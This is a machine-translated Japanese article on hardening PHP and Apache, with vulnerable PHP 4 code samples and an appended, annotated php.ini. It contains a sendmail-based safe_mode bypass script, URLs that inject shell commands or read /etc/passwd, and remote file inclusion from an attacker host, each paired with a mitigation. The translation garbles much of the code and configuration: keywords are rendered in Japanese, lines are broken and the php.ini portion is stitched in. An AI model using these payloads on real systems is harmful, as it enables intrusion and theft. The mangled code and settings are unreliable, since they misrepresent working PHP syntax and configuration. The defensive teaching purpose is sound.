1. Web サーバーのセキュリティ
PHP は実際には Web サーバーのモジュール機能にすぎないため、まず Web サーバーのセキュリティを確保する必要があります。もちろん、Web サーバーの安全性を確保するには、まずシステムのセキュリティを確保する必要がありますが、それはかなり先の話です。 PHP はさまざまな Web サーバーと組み合わせることができますが、ここでは Apache についてのみ説明します。 Apache を chroot モードでインストールして起動することを強くお勧めします。この方法では、Apache、PHP、およびそのスクリプトに脆弱性がある場合でも、影響を受けるのは制限されたシステムのみであり、実際のシステムには影響しません。ただし、chrooted Apache を使用すると、アプリケーションに特定の問題が発生します。たとえば、mysql に接続する場合、ソケット接続に localhost ではなく tcp を使用して接続する必要があり、これは若干効率が悪くなります。 php.ini で次のようになっているため、電子メールを送信するメール関数にも問題があります
。
; Win32 のみ。
SMTP=ローカルホスト
; Win32 のみ。
sendmail_from [email protected]
は Win32 プラットフォーム用であるため、sendmail は chroot 環境で調整する必要があります。
2.
PHP 自体の問題 ネットワーク管理者u.bitscn@com
1. リモート オーバーフロー
PHP-4.1.2 以下のすべてのバージョンにはファイル アップロードのリモート バッファ オーバーフローの脆弱性があり、この攻撃プログラムは非常に高い成功率で広く出回っています。
リモートのサービス拒否
PHP-4.2.0 および PHP-4.2.1 には、PHP multipart/form-data POST リクエストの処理にリモートの脆弱性がありますが、ローカル ユーザーの権限は取得できませんが、サービス拒否が発生する可能性があります。
3.safe_mode バイパスの脆弱性は、
PHP-4.2.2 以下から PHP-4.0.5 にも存在します。PHP メール関数は、バージョン 4.0.5 以降、safe_mode 制限をバイパスしてコマンドを実行します。設計上、注意しないと、safe_mode の制限を突破してコマンドを実行してしまう可能性があります。バージョン 4.0.5 の画期的な点は非常に簡単です。たとえば、PHP スクリプト evil.php がある場合は、
次の URL を実行します。
http://foo. com/evil.php?bar =;/usr/bin/id [email protected]
これにより、id の実行結果が[email protected]に送信されます。
PHP 4.0.6 から 4.2.2 の場合、safe_mode 制限を突破するには、実際には sendmail の -C パラメータが使用されるため、システムは sendmail を使用する必要があります。次のコードは、safe_mode の制限を突破してコマンドを実行できます。
#注意、次の 2 つは存在してはなりません。
または、その所有者がこのスクリプトの所有者と同じです
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
スパース=0
R$*" . chr(9) . "$#local $@ $:
Mlocal、P=/bin/sh、A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("誰も", "", "", "", "-C$cf");
?>
上記の問題のあるバージョンの PHP を使用しているユーザーは、基本的なセキュリティの問題を排除するために、適時に最新バージョンにアップグレードする必要があります。
3. PHP 自体のセキュリティ構成は、
php.ini、httpd.conf、.htaccess ファイルを通じて設定できます (AllowOverride All または Options をこのディレクトリに設定する必要があります)。スクリプト プログラムで ini_set() およびその他の特定の関数を使用して設定します。構成オプションの各値は、phpinfo() 関数および get_cfg_var() 関数を通じて取得できます。
構成オプションが唯一の PHP_INI_SYSTEM 属性である場合は、php.ini および httpd.conf を介して変更する必要があります。これらは PHP Master 値を変更しますが、変更を有効にするには、Apache を再起動する必要があります。 php.ini に設定されたオプションは Web サーバー内のすべてのスクリプトに有効であり、httpd.conf に設定されたオプションは、定義されたディレクトリ内のすべてのスクリプトに有効です。
他に PHP_INI_USER、PHP_INI_PERDIR、PHP_INI_ALL 属性オプションがある場合は、.htaccess ファイルを使用してそれらを設定することも、スクリプト自体で ini_set() 関数を使用してそれらを設定することもできます。これらはローカル値を変更し、変更が反映されます。すぐに発効します。ただし、.htaccess は現在のディレクトリにあるスクリプト プログラムに対してのみ有効であり、ini_set() 関数はスクリプト プログラムに対して ini_set() 関数を設定した後にのみ有効になります。各バージョンのオプション属性は異なる場合があります。次のコマンドを使用して現在のソース コードの main.c ファイルを検索し、すべてのオプションとその属性を取得できます。
# grep PHP_INI_ /PHP_SRC/main/main.c
説明する前に。 PHP セキュリティ設定 では、PHP のセーフモード モードをよく理解している必要があります。
1.セーフモード
セーフモードは唯一の PHP_INI_SYSTEM 属性であり、php.ini または httpd.conf を通じて設定する必要があります。セーフモードを有効にするには、php.ini を変更するだけです。
セーフモード = オン
または、httpd.conf を変更してディレクトリを定義します。
オプション FollowSymLinks
php_admin_value セーフモード 1
セーフモードは、Apache の再起動後に有効になります。セーフモードを有効にすると、多くの PHP 機能、特にシステム関連のファイルを開く、コマンドの実行、その他の機能が制限されます。
ファイルを操作するすべての関数は、スクリプトと同じ UID を持つファイルのみを操作します。たとえば、test.php スクリプトの内容は次のとおりです。
いくつかのファイルのプロパティは次のとおりです。
# ls -la
合計13
drwxr-xr-x 2 ルート ルート 104 7 月 20 日 01:25 。
drwxr-xr-x 16 ルート ルート 384 7月18日 12:02 ..
-rw-r--r-- 1 ルート root 4110 2002 年 10 月 26 日index.html
-rw-r--r-- 1 www-data www-data 41 7月 19 日 19:14 test.php
ブラウザで test.php をリクエストすると、次のエラー メッセージが表示されます。
警告: セーフ モード制限が有効です。uid/gid が 33/33 のスクリプトは、uid/gid 0/0 が所有する ./index.html にアクセスできません。 /var/www/test.php の 1 行目
操作されたファイルが配置されているディレクトリのUIDがスクリプトのUIDと一致していれば、スクリプトと異なっていてもファイルのUIDにアクセスできます。これはPHPの脆弱性なのか、それともそうでしょうか。もう一つ隠された理由があります。したがって、php スクリプトの所有者であるユーザーがこの目的にのみ使用することをお勧めします。これにより、safe_mode の効果が得られなくなります。
GID の比較を緩和したい場合は、safe_mode_gid をオンにしてファイルの GID の比較のみを検討できます。safe_mode_gid
= On の
オプションを設定すると、実行されるすべてのコマンドが機能のみに制限されます。 php.iniのsafe_mode_exec_dirに指定されたディレクトリ内のプログラム、およびshell_execおよび`ls -l`によるコマンドの実行が禁止されます。他のプログラムを呼び出す必要がある場合は、php.ini で次の設定を行うことができます:
safe_mode_exec_dir = /usr/local/php/exec
でプログラムをこのディレクトリにコピーすると、PHP スクリプトはシステム関数やその他の関数を使用して、プログラムを実行します。さらに、このディレクトリ内のシェル スクリプトは、引き続き他のディレクトリ内のシステム コマンドを呼び出すことができます。
safe_mode_include_dir 文字列
このディレクトリとそのサブディレクトリからファイルをインクルードするときに、UID/GID チェックをオーバーライドします (ディレクトリは include_path に存在するか、フル パスでインクルードされる必要があります)。
PHP 4.2.0 以降、このディレクティブは、単なるディレクトリではなく、include_path ディレクティブと同様のスタイルでセミコロン区切りのパスを受け入れることができます。
指定された制限は、実際にはディレクトリ名ではなくプレフィックスです。これは、「safe_mode_include_dir = /dir/incl」により、「/dir/include」および「/dir/incls」が存在する場合、それらへのアクセスが許可されることを意味します。特定のディレクトリへのアクセスを制限したい場合は、「safe_mode_include_dir = /dir/incl/」のように末尾にスラッシュを追加します。
safe_mode_allowed_env_vars 文字列
特定の環境変数を設定すると、セキュリティ上のギャップが生じる可能性があります。このディレクティブには、カンマで区切られたプレフィックスのリストが含まれます。セーフ モードでは、ユーザーは、ここで指定されたプレフィックスが名前に付いている環境変数のみを変更できます。デフォルトでは、ユーザーは PHP_ で始まる環境変数のみを設定できます (たとえば、PHP_FOO = BAR)。
注: このディレクティブが空の場合、PHP ではユーザーが任意の環境変数を変更できるようになります。
safe_mode_protected_env_vars 文字列
このディレクティブには、エンド ユーザーが putenv() を使用して変更できない環境変数のカンマ区切りリストが含まれます。これらの変数は、safe_mode_allowed_env_vars で変更が許可されている場合でも変更できません。
safe_mode は万能薬ではありません (PHP の以前のバージョンはバイパスできます) が、未知の攻撃をある程度回避できるセーフ モードをオンにすることを強くお勧めします。ただし、safe_mode を有効にすると多くの制限があり、アプリケーションに影響を与える可能性があるため、調和を図るためにコードと構成を調整する必要があります。セーフモードにより制限またはブロックされる機能については、PHPのマニュアルを参照してください。
セーフモードについて説明した後、プログラム コードで発生する可能性のある実際の問題に基づいて、PHP サーバーの構成を通じて脆弱性を回避する方法について説明します。
2. 変数の不正使用
PHP のデフォルトでは register_globals = On となっており、GET、POST、Cookie、Environment、Session の変数を直接グローバル変数として登録できます。登録順序は、variables_order = "EGPCS" (php.ini を通じて変更可能) です。同じ名前の variables_order の右側が左側を覆っているため、変数を乱用するとプログラムが混乱しやすくなります。さらに、スクリプト プログラマは変数を初期化する習慣がない場合が多く、次のようなプログラムの断片は攻撃に対して非常に脆弱です。
//test_1.php
if ($pass == "こんにちは")
$auth = 1;
if ($auth == 1)
「いくつかの重要な情報」をエコーします。
それ以外
「何もない」をエコーします。
?>
攻撃者は、次のリクエストを使用するだけでチェックを回避できます:
http://victim/test_1.php?auth=1
これは非常に弱い間違いですが、phpnuke のリモートなど、いくつかの有名なプログラムでもこの間違いが発生しています。ファイルコピーの脆弱性: http://www.securityfocus.com/bid/3361
PHP-4.1.0 がリリースされたとき、register_globals をオフにし、さまざまな変数を使用するために 7 つの特別な配列変数を提供することが推奨されました。 GET、POST、COOKIE などの変数は変数として直接登録されないため、配列変数を通じてアクセスする必要があります。 PHP-4.2.0 がリリースされたとき、php.ini のデフォルト設定は register_globals = Off でした。これにより、プログラムは PHP 自体によって初期化されたデフォルト値 (通常は 0) を使用できるようになり、攻撃者が判断変数を制御するのを防ぎます。
解決策:
設定ファイル php.ini で register_globals = Off を設定します。
プログラマはプログラムの開始時に判定変数の値を初期化する必要があります。
3. このファイルは、
非常に脆弱なコード スニペット
//test_2.php
を開きます。
if (!($str = readfile("$filename"))) {
echo("ファイルを開けませんでした: $filename
n");
出口;
}
それ以外 {
エコー $str;
}
?>
攻撃者は任意の $filename を指定できるため、次のリクエストで /etc/passwd を参照できます:
http://victim/test_2.php?filename=/etc/passwd
次のリクエストは php ファイル自体を読み取ることができます。
http://victim/test_2.php?filename=test_2.php
PHP のファイルを開く関数には、fopen()、file() などが含まれます。ファイル名変数が厳密にチェックされていない場合、サーバー上の重要なファイルにアクセスされてしまいます。と読んでください。
解決策:
特に必要がない限り、PHP ファイルの操作を Web ディレクトリに限定してください。以下は、Apache 設定ファイル httpd.conf を変更する例です。
php_admin_value open_basedir /usr/local/apache/htdocs
Apache を再起動した後、/usr/local/apache/htdocs ディレクトリ内の PHP スクリプトは、独自のディレクトリ内のファイルのみを操作できます。それ以外の場合、PHP は次のエラーを報告します:
警告:
ファイルが xxx オンラインの間違ったディレクトリにあります
。xx.
前述したように、safe_mode モードを使用すると、この問題を回避できます。
4.
非常に脆弱なコード スニペットを含むファイルが含まれています:
//test_3.php
if(ファイル_存在($ファイル名))
include("$ファイル名");
?>
この種の無責任なコードは、重大な害を引き起こす可能性があります。攻撃者は、次のリクエストを使用して /etc/passwd ファイルを取得できます。
http://victim/test_3.php?filename=/etc/passwd
Unix バージョンの PHP の場合 ( Windows バージョンの PHP は、ファイルのリモートオープンをサポートしていません) 攻撃者は、http または ftp サービスを開いたマシン上にシェル コマンドを含むファイル (たとえば、 http://攻撃/攻撃.txt)を作成する可能性があります。の場合、次のリクエストが表示されます。 ターゲット ホストでコマンド ls /etc を実行できます。
http://victim/test_3.php?filename=http://攻撃/攻撃.txt
攻撃者は、access.log とerror.log という apache を含むログ ファイルからコマンドを実行するためのコードが取得されますが、干渉情報が多すぎて成功しにくい場合があります。
別の形式の場合は、次のコード スニペット:
//test_4.php
include("$lib/config.php");
?>
攻撃者は、自分のホスト上でコマンド実行コードを含む config.php ファイルを作成し、次のリクエストを使用してターゲット ホスト上でコマンドを実行できます:
http://victim/test_4.php?lib=http://攻撃
PHP 含まれる関数には、include()、include_once()、require()、require_once などがあります。ファイル名を含む変数が厳密にチェックされないと、システムに重大な危険が生じ、コマンドがリモートで実行される可能性があります。
解決策:
プログラマは、ファイルにパラメータを含めるときに変数を使用しないようにする必要があります。変数を使用する場合は、含めるファイル名を厳密にチェックする必要があり、ユーザーが任意に指定してはなりません。
たとえば、以前のファイルを開く際の PHP 操作パスを制限することは必要なオプションです。また、特に必要がない限り、PHP のリモートファイルオープン機能は必ずオフにしてください。 php.ini ファイルを変更します。allow_url_fopen
= Off
Apache を再起動します
[PHP]
; PHP は依然として進化中のツールであり、その機能は常に削除されています。
; また、php.ini の設定変更にはかなりの変更が反映される場合があります。
; 新しい PHP バージョンを使用する前に、php.ini について勉強することをお勧めします。
;;;;;;;;;;;;;;;;;;;
;この文書について;
;;;;;;;;;;;;;;;;;;;;
このファイルは、PHP がこのファイルを読み取るために、PHP のビューの多くの側面を制御します。
; 'php.ini'.PHP は次の場所でファイルを検索します: 環境変数 PHPRC
; 指定されたパス; コンパイル時に指定されたパス。
; Windows では、コンパイル時のパスは Windows のインストール ディレクトリです。
; コマンド ライン モードでは、php.ini の検索パスは -c パラメータで置き換えることができます。
このファイルの構文は、セミコロン ';' で始まる行は単純に無視されます。
; 推測と同じ) 章のタイトル (例: [Foo]) も、将来的には無視される可能性があります。
; 何らかの意味があります。
;
; ディレクティブは次の構文を使用して指定します。
; インジケーター識別子 = 値
; ディレクティブ = 値
; 識別子が *大文字と小文字を区別する* - foo=bar は FOO = bar とは異なることを示します。
;
; 値は文字列、数値、PHP 定数 (E_ALL や M_PI など)、INI 定数です。
; A (オン、オフ、True、False、Yes、No、None)、または式
; (例: E_ALL & ~E_NOTICE)、または引用符で囲まれた文字列 ("foo")。
;
; INI ファイル内の式はビット演算子と括弧に制限されます。
; ビット単位の OR
; & ビット単位の AND
; ~ ビット単位ではありません
; ブール値 NOT
;
; ブール フラグは、値 1、On、True、または Yes でオンにできます。
; 値 0、Off、False、または No を使用してオフに設定できます。
;
; 空の文字列は、等号の後に何も書くか、None キーワードを使用することで表現できます。
;
; foo = ; foo を空の文字列に設定します。
; foo = none ; foo を空の文字列に設定します。
; foo = "none" ; foo を文字列「none」に設定します。
;
; 値の設定で定数を使用し、それらの定数が動的にロードされる拡張ライブラリ (PHP 拡張機能ではない) に属している場合
; Zend 拡張機能)、これらの定数は、これらの拡張機能を呼び出す行の「後」でのみ使用できます。
;
; php.ini-dist ファイルに設定されているすべての値は、組み込みのデフォルト値と同じです (つまり、php.ini の場合)
; が使用されていないか、これらの行を削除した場合は、デフォルト値は同じです)
。
;言語オプション;
;;;;;;;;;;;;;;;;;;;;;
エンジン = オン
; PHP スクリプト言語エンジンを Apache で利用できるようにします。
short_open_tag = オン
; <? タグ (この単純な表現) のみが認識されます。
asp_tags = オフ
; ASP スタイルの <% %> タグを許可します。
精度=14
; 浮動小数点型数値表示時の有効桁数
y2k_compliance = Off
オン
にするかどうか (Y2K 非対応ブラウザでは問題が発生する可能性があります)
; 出力キャッシュを使用すると、本文の内容を出力した後でもヘッダー行 (Cookie を含む) を送信できます。
; その代償として、出力層が少し遅くなります。出力キャッシュを使用して、実行時に出力キャッシュを有効にすることができます。
; または、ここでディレクティブをオンにして、すべてのファイルの出力キャッシュを有効にします。
Output_handler = ; スクリプトのすべての出力を関数にリダイレクトできます。
; これは、処理またはログ記録に役立つ可能性があります。
; たとえば、このoutput_handlerを「ob_gzhandler」に設定すると、
; gzip または deflate エンコーディングをサポートするブラウザでは、出力は透過的に圧縮されます。
; 出力バッファリングを自動的に開くように出力プロセッサを設定します。
implicit_flush = オフ
; Force flash は、各出力ブロックの後に出力層に自身のデータを自動的に更新するよう PHP に指示します。
; これは、print() または echo() の呼び出し後、および HTML ブロックごとに flash() 関数を呼び出すことと同じです。
、
デバッグ中にのみオンにすることをお勧めします。
; 関数呼び出しでパラメータを強制的に渡すかどうか。このメソッドは抗議されました。
; 将来のバージョンの PHP/Zend ではサポートされなくなる可能性があります。
; 関数宣言で参照によって渡されるパラメータを指定することをお勧めします。
; 言語の将来のバージョンを保証するために、このオプションをオフにして、スクリプトが引き続き適切に動作することを確認することをお勧めします。
; これらは引き続き機能します (この機能を使用するたびに警告が表示され、パラメーターは参照ではなく値によって決まります。
; セーフモード セーフモード
。
セーフモード = オフ
セーフモード_exec_dir =
safe_mode_allowed_env_vars = PHP_
;?特定の環境変数の設定
;?潜在的なセキュリティ侵害である可能性があります。
; このディレクティブには、カンマで区切られたプレフィックスのリストが含まれています。セーフ モードでは、ユーザーは
ここにリストされているプレフィックスで始まる環境変数の値のみを置き換えることができます。
; デフォルトでは、ユーザーは PHP_ で始まる環境変数のみを設定できます (例: PHP_FOO=BAR)。
; 注: このディレクティブが空の場合、PHP はユーザーに
safe_mode_protected_env_vars = LD_LIBRARY_PATH を
変更させます。
; このディレクティブには、エンドユーザーが putenv() を使用して変更できない環境変数のカンマ区切りリストが含まれています。
=
に設定されている場合でも保護されます。
; このディレクティブを使用すると、セキュリティ上の理由から特定の機能を無効にすることができます。
; カンマ区切りの関数名のリストを受け入れます。
; この命令は、セーフ モードがオンになっているかどうかには影響されません
。
???
> で受け入れられるものであれば何でも機能します。
ハイライト.コメント = #FF8000
ハイライト.キーワード = #007700
ハイライト.bg = #FFFFFF
ハイライト.デフォルト = #0000BB
ハイライト.html = #000000
;
エクスポーズ_php = オフ
; PHP がサーバーにインストールされていることを示すかどうかを決定します (例: PHP を Web サービスに追加します)
; 送信された信号上で)。
; (私の個人的な意見は、power-by ヘッダーが表示された場合はこれをオフにすることです。)
; セキュリティ上の脅威はありませんが、サーバーに PHP がインストールされているかどうかを確認できます。
;;;;;;;;;;;;;;;;;;;
; リソース制限。
;;;;;;;;;;;;;;;;;;;
max_execution_time = 30 ; 各スクリプトの最大実行時間(秒)
Memory_limit = 8388608; スクリプトで使用できる最大メモリ量 (ここでは 8MB)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; エラー処理とログ記録。
; エラー制御と登録。
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; エラー レポートはビットごとに行われます。または、数値を加算して、目的のエラー レポート レベルを取得します。
; E_ALL - すべてのエラーと警告
; E_ERROR - 致命的な実行時エラー
; E_WARNING - 実行時警告 (致命的ではないエラー)
; E_PARSE - コンパイル時の解析エラー
; E_NOTICE - 実行時のリマインダー (コードのバグが原因で発生することがよくあります)
が自動的に空の文字列に初期化されるという事実
に基づいて、初期化されていない変数を使用する
); E_CORE_ERROR - PHP の起動時に初期化プロセス中に発生する致命的なエラー。
; E_CORE_WARNING - PHP の起動時の初期化プロセス中に発生する警告 (致命的ではないエラー)
; E_COMPILE_ERROR - 致命的なコンパイル時エラー
; E_COMPILE_WARNING - コンパイル時の警告 (致命的ではないエラー)
; E_USER_ERROR - ユーザーが生成したエラーメッセージ
; E_USER_WARNING - ユーザーが生成した警告メッセージ
; E_USER_NOTICE - ユーザーが生成したリマインダーメッセージ
; 例:
; error_reporting = E_ALL & ~E_NOTICE ; リマインダーを除くすべてのエラーを表示します。
; error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR ; エラーのみを表示
error_reporting = E_ALL & ~E_NOTICE ; リマインダーを除くすべてのエラーを表示します。
display_errors = On ; エラー メッセージを表示します (出力の一部として)
; 最終的に公開される Web サイトでは、この機能をオフにして使用することを強くお勧めします。
; 代わりにエラー ログが表示されます (下記を参照)。
; 最終的に公開された Web サイトで引き続き display_errors を有効にすることができます。
; Web サービス上のファイル パスなどのセキュリティ関連情報を公開します。
; データベース構成またはその他の情報
。
; エラーは表示されません。
; display_startup_errors をオフのままにすることを強くお勧めします。
; エラー修正プロセス中を除く。
log_errors = Off ; エラーをログ ファイルに記録します (サーバー固有のログ、標準エラー出力、または error_log (下記))。
; 前述したように、最終的に公開された Web サイトでエラーを記録することを強くお勧めします。
; 直接のエラー出力を置き換えます
track_errors = Off ; 最新のエラー/警告メッセージを変数 $php_errormsg (ブール値) に保存します。
;error_prepend_string = "<font color=ff0000>" ; エラーメッセージの前に出力される文字列
;error_append_string = "</font>" ; エラー メッセージの後に出力される文字列
;error_log = ファイル名 ; エラーログを指定したファイルに記録します。
;error_log = syslog ; システム ログ syslog にエラー ログを記録します (NT ではイベント ログ、Windows 95 では無効)
warn_plus_overloading = Off ; 文字列で「+」を使用する場合に警告します。
;;;;;;;;;;;;;;;;;
; データの処理 ;
;;;;;;;;;;;;;;;;;;; variables_order = "EGPCS" ; このディレクティブは PHP レコードを記述します。
; GET、POST、Cookie、環境変数、および組み込み変数の順序。
; (G、P、C、E & S で表され、通常は EGPCS または GPC と呼ばれます)。
; レコードは左から右に、古い値を新しい値に置き換えます。
register_globals = On これらの EGPCS 変数をグローバル変数として登録するかどうか。
; ユーザーデータが全体的に乱雑になることを望まない場合は、これをオフにすることをお勧めします。
; これは、track_vars と組み合わせるとより意味があります。この方法で渡すことができます。
; $HTTP_*_VARS[] 配列はすべての GPC 変数にアクセスします
register_argc_argv = On ; このディレクティブは、argv 変数と argc 変数を宣言するかどうかを PHP に指示します。
; (注: ここで argv は配列、argc は変数の数です)
; (GET メソッドを使用して渡されたデータが含まれます)。
; これらの変数を使用したくない場合は、パフォーマンスを向上させるためにこれをオフにする必要があります。
$HTTP_*_VARS[] 配列を有効にします。
; ENV、POST、GET、COOKIE、または SERVER の置換
post_max_size = 8M ; PHP が受け入れる POST データの最大サイズ。
gpc_order = "GPC" ; このディレクティブは非推奨です。代わりに、variables_order を使用してください
。
magic_quotes_gpc = オン ; 入力 GET/POST/Cookie データにマジック クオートを使用します。
; (元のテキストは次のとおりです。笑、いわゆるマジック クオートは、' などの参照制御文字を追加するためにエスケープ文字を使用することを指します。)
magic_quotes_runtime= Off ; 実行時に生成されるデータにマジック クオートを使用します。
; 例: SQL クエリによって取得されたデータ、exec() 関数によって取得されたデータなど。
magic_quotes_sybase = Off ; Sybase スタイルのマジック クオートを使用します ('' の代わりに 'extract' を使用します)
。PHP ドキュメントの前後にファイルを自動的に追加します。
auto_prepend_file =
auto_append_file =
; 4.04b4 と同様、PHP はデフォルトで常に「Content-type:」ヘッダー内の文字のエンコーディングを出力します。
; 空に設定されている限り、出力文字セットを無効にします。
; PHP の組み込みのデフォルトは text/html です。
default_mimetype = "テキスト/html"
;default_charset = "iso-8859-1"
;;;;;;;;;;;;;;;;;;;;;;;;;;;
; パスとディレクトリ。
;;;;;;;;;;;;;;;;;;;;;;;;;
include_path = ; インクルードパス設定、UNIX: "/path1:/path2" Windows: "path1;path2"
doc_root = ; php ページのルート パス。空でない場合にのみ有効です。
user_dir = ; /~username を使用してスクリプトを開くときに検索するディレクトリを php に指示します。
;upload_tmp_dir = ; HTTP プロトコルを使用してアップロードされたファイルを保存する一時ディレクトリ (指定しない場合はシステムのデフォルトを使用します)
Upload_max_filesize = 2097152 ; ファイルのアップロードはデフォルトで 2 MB に制限されています
extension_dir = c:php ; ロード可能な拡張ライブラリ (モジュール) が保存されるディレクトリ
Enable_dl = On ; dl() を有効にするかどうか。
; dl() 関数はマルチスレッドサーバーでは * うまく機能しません。
; IIS や Zeus など、デフォルトで無効になっています。
;;;;;;;;;;;;;;;;;
; ファイルのアップロード ;
;;;;;;;;;;;;;;;;;
file_uploads = HTTP ファイルのアップロードを許可するかどうか。
;upload_tmp_dir = ; HTTP 経由でアップロードされたファイルの一時ディレクトリ (指定しない場合はシステムのデフォルトが使用されます)
Upload_max_filesize = 2M; アップロードされるファイルの最大許容サイズ
。
;;;;;;;;;;;;;;;;;;;
allow_url_fopen = On ; URL を http:... として扱うことを許可するか、ファイルを ftp:... として扱うことを許可するかどうか。
;;;;;;;;;;;;;;;;;;;;;;;
;動的拡張;
; 動的拡張機能
;;;;;;;;;;;;;;;;;;;;;;;
; 拡張ライブラリを自動的にロードする場合は、次の構文を使用します。
; 拡張子=モジュール名.拡張子
; たとえば、Windows では、
; 拡張子=msql.dll
; または UNIX では、
; 拡張子=msql.so
; これはモジュールの名前のみである必要があり、ディレクトリ情報を含める必要はないことに注意してください。
; 上記の extension_dir を使用して、指定した拡張ライブラリの場所を示します。
;Windows 拡張機能
;extension=php_nsmail.dll
拡張子=php_calendar.dll
;extension=php_dbase.dll
;extension=php_filepro.dll
拡張子=php_gd.dll
;extension=php_dbm.dll
;extension=php_mssql.dll
;extension=php_zlib.dll
;extension=php_filepro.dll
;extension=php_imap4r2.dll
;extension=php_ldap.dll
;extension=php_crypt.dll
;extension=php_msql2.dll
;extension=php_odbc.dll
; MySQL サポートが組み込まれているため、その DLL を使用する必要がないことに注意してください
。;;;;;;;;;;;;;;;;;;;;
; モジュール設定。
; モジュール設定。
;;;;;;;;;;;;;;;;;;;
[シスログ]
define_syslog_variables = Off; さまざまなシステム ログ変数を定義するかどうか。
; $LOG_PID、$LOG_CRON など。
; 効率を向上させるには、これをオフにすることをお勧めします。
; 実行時に、define_syslog_variables() 関数を呼び出してこれらの変数を定義できます
[メール関数]
SMTP = localhost ; win32 システムのみ
sendmail_from [email protected] ; win32 システムの場合のみ
;sendmail_path = ;UNIX のみ、パラメータもサポート (デフォルトは 'sendmail -t -i')
[デバッガ]
debugger.host = ローカルホスト
デバッガー.ポート = 7869
debugger.enabled = False
[ログ]
; これらの設定は、例で使用されるロギング メカニズムを示します。
; 詳細については、examples/README.logging を参照してください。
;logging.method = データベース
;logging.directory = /path/to/log/directory
[Java]
;java.class.path = .php_java.jar
;java.home = c:jdk
;java.library = c:jdkjrebinhotspotjvm.dll
;java.library.path = .
[SQL]
sql.safe_mode = オフ
[ODBC]
;uodbc.default_db = まだ実装されていません
;uodbc.default_user = まだ実装されていません
;uodbc.default_pw = まだ実装されていません
uodbc.allow_persistent = On ; 永続的な接続を許可または無効にします。
uodbc.check_persistent = On ; 再利用する前に接続がまだ利用可能かどうかを確認します。
uodbc.max_persistent = -1; 永続接続の最大数 -1 は無制限を意味します。
uodbc.max_links = -1; 最大接続数 (永続的および非永続的) -1 は、無制限のネットワーク管理を表します。
uodbc.defaultlrl = 4096; LONG 型のフィールドを制御します。0 はパススルーを意味します (?) 0 はパススルーを意味します。
uodbc.defaultbinmode = 1; 制御バイナリ データ。0 はバイナリ データの処理を意味します。1 はそのまま返し、2 は char に変換します。
; uodbc.defaultlrl および uodbc.defaultbinmode の説明については、odbc_binmode および odbc_longreadlen のドキュメントを参照してください
。
mysql.allow_persistent = On ; 永続的な接続を許可または無効にします。
mysql.max_persistent = -1; 永続接続の最大数 -1 は無制限を意味します。
mysql.max_links = -1 ; 接続の最大数 (永続的および非永続的) -1 は無制限を意味します。
mysql.default_port = ; mysql_connect() によって使用されるデフォルトのポート。設定されていない場合、mysql_connect()
; 変数 $MYSQL_TCP_PORT または /etc/services (unix) の mysql-tcp エントリを使用します。
; または、MYSQL_PORT がコンパイル中に定義されます (この順序で)
; Win32 環境では、MYSQL_PORT のみがチェックされます。
mysql.default_socket = ; ローカル MySql 接続に使用されるデフォルトのソケット名。空の場合は、MYSQL 組み込み値を使用します。
=
; デフォルトで mysql_connect() によって使用されるホスト (セーフ モードでは無効)。
mysql_connect () デフォルトで使用されるユーザー名 (セーフ モードでは無効)
mysql.default_password = ; mysql_connect() によってデフォルトで使用されるパスワード (セーフ モードでは無効)
; このファイルにパスワードを保存するのは一般的に「悪い」考えであることに注意してください。
; PHP にアクセスできるすべてのユーザーが実行できます。
; 'echo cfg_get_var("mysql.default_password")' を実行すると、そのパスワードが表示されます。
パスワード
を参照できます。
msql.allow_persistent = On ; 永続的な接続を許可または無効にします。
msql.max_persistent = -1; 永続接続の最大数 -1 は無制限を意味します。
msql.max_links = -1 ; 最大接続数 (永続的および非永続的) -1 は無制限を意味します
。
pgsql.allow_persistent = On ; 永続的な接続を許可または無効にします。
pgsql.max_persistent = -1; 永続接続の最大数 -1 は無制限を意味します。
pgsql.max_links = -1 ; 最大接続数 (永続的および非永続的) -1 は無制限を意味します
。
sybase.allow_persistent = On; 永続的な接続を許可または無効にします。
sybase.max_persistent = -1 は、永続的な接続の最大数を意味します。
sybase.max_links = -1; 接続の最大数 (永続的および非永続的) -1 は無制限を意味します。
;sybase.interface_file = "/usr/sybase/interfaces"
sybase.min_error_severity = 10 ; 表示されるエラーの最小重大度
sybase.min_message_severity = 10 ; 表示されるメッセージの最小重大度
sybase.compatability_mode = Off ; 古いバージョンの PHP 3.0 との互換モードをオンにすると、PHP が自動的に実行されます。
; 結果に従って Sybase タイプを割り当てます。
; すべてを文字列として扱う代わりに。
; この互換モードは永久に存続するわけではありません。
; したがって、コードに必要な変更を加えます。
[Sybase-CT]
を閉じます。
sybct.allow_persistent = On ; 永続的な接続を許可または無効にします。
sybct.max_persistent = -1; 永続接続の最大数 -1 は無制限を意味します。
sybct.max_links = -1 ; 接続の最大数 (永続的および非永続的) -1 は無制限を意味します。
sybct.min_server_severity = 10 ; 表示されるエラーの最小重大度
sybct.min_client_severity = 10 ; 表示されるメッセージの最小重大度
[bcmath]
bcmath.scale = 0 ; すべての bcmath 関数の小数点以下の桁数
[browscap]
;browscap = extra/browscap.ini
browscap = C:WINSYSTEMinetsrvbrowscap.ini
[インフォミックス]
ifx.default_host = ; ifx_connect() によってデフォルトで使用されるホスト (セーフ モードでは無効)
ifx.default_user = ; ifx_connect() で使用されるデフォルトのユーザー名 (セーフ モードでは無効)
ifx.default_password = ; ifx_connect() で使用されるデフォルトのパスワード (セーフ モードでは無効)
ifx.allow_persistent = On ; 永続的な接続を許可または無効にします。
ifx.max_persistent = -1 ; 永続接続の最大数 -1 は無制限を意味します。
ifx.max_links = -1 ; 接続の最大数 (永続的および非永続的) -1 は無制限を意味します。
ifx.textasvarchar = 0 ; オンにすると、選択ステータス シンボルは ID の代わりに「テキスト BLOB」フィールドの内容を返します。
ifx.byteasvarchar = 0 ; オンにすると、選択ステータス シンボルは ID の代わりに「バイト BLOB」フィールドの内容を返します。
ifx.charsvarchar = 0 ; 固定長文字列から削除された空白を追跡します。
; Informix SE ユーザーに有効な場合があります。
ifx.blobinfile = 0 ; オンにすると、テキストおよびバイト BLOB の内容がファイルにエクスポートされます。
; メモリに保存する代わりに。
ifx.nullformat = 0 ; ここで 1 に設定されていない限り、NULL が null フィールドとして返されます。
; この場合 (1)、文字列 NULL として NULL が返されます
。
